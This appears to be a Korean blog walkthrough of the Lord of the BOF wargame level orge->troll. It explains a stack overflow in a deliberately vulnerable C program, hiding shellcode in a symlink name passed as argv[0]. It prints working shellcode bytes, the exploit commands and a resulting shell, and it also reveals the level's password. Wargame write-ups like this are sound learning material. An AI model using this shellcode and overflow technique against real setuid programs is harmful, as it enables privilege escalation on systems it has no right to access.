-->

[LOB] level8, orge-> troll풀이

LOB, orge-> troll 문제 확인

이전 문제에서 argv 수를 제한(argc == 2)하는 조건문이 추가되었다. 

 

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - troll 
        - check argc + argv hunter 
*/ 

#include  
#include  

extern char **environ; 

main(int argc, char *argv[]) 
{ 
char buffer[40]; 
int i; 

// here is changed 
if(argc != 2){ 
printf("argc must be two!\n"); 
exit(0); 
} 

// egghunter  
for(i=0; environ[i]; i++) 
memset(environ[i], 0, strlen(environ[i])); 

if(argv[1][47] != '\xbf') 
{ 
printf("stack is still your friend.\n"); 
exit(0); 
} 

// check the length of argument 
if(strlen(argv[1]) > 48){ 
printf("argument is too long!\n"); 
exit(0); 
} 

strcpy(buffer, argv[1]);  
printf("%s\n", buffer); 

        // buffer hunter 
        memset(buffer, 0, 40); 

// one more! 
memset(argv[1], 0, strlen(argv[1])); 
} 

 

 

다시한번, 제약조건들을 정리해보면 아래와 같다. 인자수제한으로 argv[0], argv[1]까지 밖에 사용하지 못하기 때문에 이전 문제에서처럼 argv[2]를 이용할 수 없게 되었다.

 

  • 환경변수 초기화

  • 버퍼 초기화

  • argv[1] 길이체크

  • 48번쨰 바이트 \xbf

  • 인자수 제한 (1개)

 

 

LOB, orge-> troll 풀이

일단 이런경우 argv[0]을 사용해야되는데 쉘코드를 파일명으로 갖는 심볼릭 링크 파일을 하나 만들어서 사용하는 방법이 있다. argv[0] 값이 저장된 주소를 알아낸 다음 RET에 해당 주소값을 덮어쓰면 쉘코드가 실행될 것이다. 한가지 주의할 점은, 쉘코드의 \x2f는 파일명에서 사용되면 "/"로 인식되기 때문에 에러가 발생해서 \x2f가 없는 쉘코드를 구글링으로 구했다.

 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea
\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a
\xe2\x9a\xb1\x0c\xce\x81

 

 

제일 먼저 not+shellcode를 파일명으로 갖는 파일의 심볼링 링크를 troll로 설정해주었다.

 


[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"[shellcode]"'` 

 

 

 

그리고 gdb로 argv[0] 주소값을 파악하기 위해 tmp에 복사한 troll 파일 명을 "A"*100으로 해주었다.

 

 

 

strcpy 호출 후 bp를 건 후 스택을 확인하는데 처음 0x41 부분은 버퍼 시작 부분이고 RET 뒤의 아래부분에서 argv[0]을 확인할 수 있다.

 

 

 

따라서 대략 \xbffffb84를 리턴에 덮어주었는데 세그폴트만 발생할 뿐 쉘획득이 되지 않았다.

 

 

 

몇번 고치다가 계속 gdb로 확인하는 것이 번거로워 troll.c 코드에 printf("%p\x",argv[0]) 코드를 추가해서 컴파일했다. 그리고 실제 익스 환경과 동일하게 하기 위해 심볼릭 링크도 동일하게 걸어주었다.

 


[orge@localhost /tmp]$ gcc -o troll troll.c
[orge@localhost /tmp]$ 
[orge@localhost /tmp]$ ln -s troll `python -c 'print "\x90"*100+"[shellcode]"'`

 

 

 

LOB, orge-> troll 익스플로잇

그리고 나온 주소값을 통해 한 3번정도 재시도를 한 끝에 쉘을 획득할 수 있었다.

 


[orge@localhost orge]$ /tmp/`python -c 'print "\x90"*100+"[shellcode]"'` `python -c 'print "A"*44+"\x2a\xfc\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*
0xbffffa74
Segmentation fault (core dumped)

 

[orge@localhost orge]$ ./`python -c 'print "\x90"*100+"[shellcode]"'` `python -c 'print "A"*44+"\x74\xfa\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

 

 

 

 

댓글

Designed by JB FACTORY